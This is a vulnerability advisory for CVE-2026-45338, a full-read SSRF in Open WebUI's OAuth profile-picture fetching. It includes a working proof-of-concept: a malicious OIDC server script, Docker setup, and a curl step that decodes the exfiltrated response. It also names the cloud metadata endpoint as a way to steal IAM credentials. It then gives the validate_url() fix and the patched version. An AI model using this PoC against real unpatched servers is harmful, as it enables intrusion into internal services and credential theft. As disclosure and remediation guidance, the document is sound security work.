CVE-2026-45338

A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.

Vulnerable Code

# backend/open_webui/utils/oauth.py, line ~1337-1345
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    # No validate_url() call here
    async with aiohttp.ClientSession(trust_env=True) as session:
        async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
            if resp.ok:
                picture = await resp.read()
                base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
                return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'

The codebase already uses validate_url() for the same SSRF protection pattern in other paths:

• backend/open_webui/utils/files.py:38 - validate_url(url) before requests.get(url)
• backend/open_webui/routers/images.py:800 - validate_url(data) before requests.get(data)

The omission in _process_picture_url() is inconsistent with the project's own security practices.

Affected Code Paths

1. New user OAuth signup (line ~1556): picture_url = await self._process_picture_url(picture_url, token.get('access_token'))
2. Existing user picture update on login (line ~1536): when OAUTH_UPDATE_PICTURE_ON_LOGIN=true

Steps to Reproduce

Prerequisites

• Open WebUI instance with generic OIDC OAuth configured
• ENABLE_OAUTH_SIGNUP=true

Setup

1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:

"""Minimal OIDC PoC server - save as poc_oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse

SSRF_TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF_CONFIRMED_OPEN_WEBUI"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = urllib.parse.urlparse(self.path).path
        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        if path == "/.well-known/openid-configuration":
            self._json({"issuer":"http://host.docker.internal:9000",
                "authorization_endpoint":"http://localhost:9000/authorize",
                "token_endpoint":"http://host.docker.internal:9000/token",
                "userinfo_endpoint":"http://host.docker.internal:9000/userinfo",
                "jwks_uri":"http://host.docker.internal:9000/jwks",
                "response_types_supported":["code"],"subject_types_supported":["public"],
                "id_token_signing_alg_values_supported":["RS256"],
                "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]})
        elif path == "/authorize":
            ru = query.get("redirect_uri",[""])[0]
            st = query.get("state",[""])[0]
            self.send_response(302)
            self.send_header("Location", f"{ru}?code=poc-code&state={st}")
            self.end_headers()
        elif path == "/userinfo":
            self._json({"sub":"attacker","email":"[email protected]","name":"Attacker","picture":SSRF_TARGET})
        elif path == "/jwks":
            self._json({"keys":[]})
        elif path == "/canary":
            self.send_response(200)
            self.send_header("Content-Type","text/plain")
            body = CANARY.encode()
            self.send_header("Content-Length",len(body))
            self.end_headers()
            self.wfile.write(body)
            print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
        else:
            self.send_response(404); self.end_headers()
    def do_POST(self):
        if "/token" in self.path:
            self._json({"access_token":"tok","token_type":"bearer","expires_in":3600,
                "userinfo":{"sub":"attacker","email":"[email protected]","name":"Attacker","picture":SSRF_TARGET}})
    def _json(self, d):
        b = json.dumps(d).encode()
        self.send_response(200)
        self.send_header("Content-Type","application/json")
        self.send_header("Content-Length",len(b))
        self.end_headers()
        self.wfile.write(b)

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()

2. Run the PoC server:

python3 poc_oidc.py

3. Start Open WebUI with Docker:

docker run -d -p 3000:8080 \
  --name owui-ssrf-test \
  --add-host=host.docker.internal:host-gateway \
  -e ENABLE_OAUTH_SIGNUP=true \
  -e WEBUI_AUTH=true \
  -e OAUTH_CLIENT_ID=test-client \
  -e OAUTH_CLIENT_SECRET=test-secret \
  -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \
  -e OAUTH_PROVIDER_NAME=TestOIDC \
  -e "OAUTH_SCOPES=openid email profile" \
  ghcr.io/open-webui/open-webui:main

4. Create an admin account at http://localhost:3000, then sign out.

5. Click "Continue with TestOIDC" on the login page.

6. Observe the PoC server terminal - it prints !!! CANARY FETCHED - SSRF CONFIRMED !!!

7. Verify exfiltrated data is stored and readable:

curl -s http://localhost:3000/api/v1/auths/ \
  -H "Authorization: Bearer <session-token>" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
url = data.get('profile_image_url', '')
if 'base64,' in url:
    decoded = base64.b64decode(url.split('base64,',1)[1]).decode()
    print(f'DECODED: {decoded}')
"

Result: DECODED: SSRF_CONFIRMED_OPEN_WEBUI

The server fetched the attacker-controlled URL, base64-encoded the response, stored it as profile_image_url, and the attacker can read it back via the API.

Configuration Note

This vulnerability requires ENABLE_OAUTH_SIGNUP=true (for the new-user path) or OAUTH_UPDATE_PICTURE_ON_LOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.

An attacker can force the Open WebUI server to make HTTP requests to:

• Cloud metadata endpoints (AWS IMDSv1 at http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials
• Internal network services not exposed to the internet
• Localhost-bound services (Redis, Elasticsearch, internal APIs)

This is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded profile_image_url field.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-45338 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.0); upgrading removes the vulnerable code path.

Kodem intelligence

Apply validate_url() before fetching, consistent with existing patterns in the codebase:

from open_webui.retrieval.web.utils import validate_url

async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    if not picture_url:
        return '/user.png'
    try:
        validate_url(picture_url)  # Add this line
        # ... rest unchanged

1. What is CVE-2026-45338? CVE-2026-45338 is a high-severity server-side request forgery (SSRF) vulnerability in open-webui (pip), affecting versions <= 0.8.12. It is fixed in 0.9.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-45338? CVE-2026-45338 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-45338? open-webui (pip) versions <= 0.8.12 is affected.
4. Is there a fix for CVE-2026-45338? Yes. CVE-2026-45338 is fixed in 0.9.0. Upgrade to this version or later.
5. Is CVE-2026-45338 exploitable, and should I be worried? Whether CVE-2026-45338 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45338 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45338? Upgrade open-webui to 0.9.0 or later.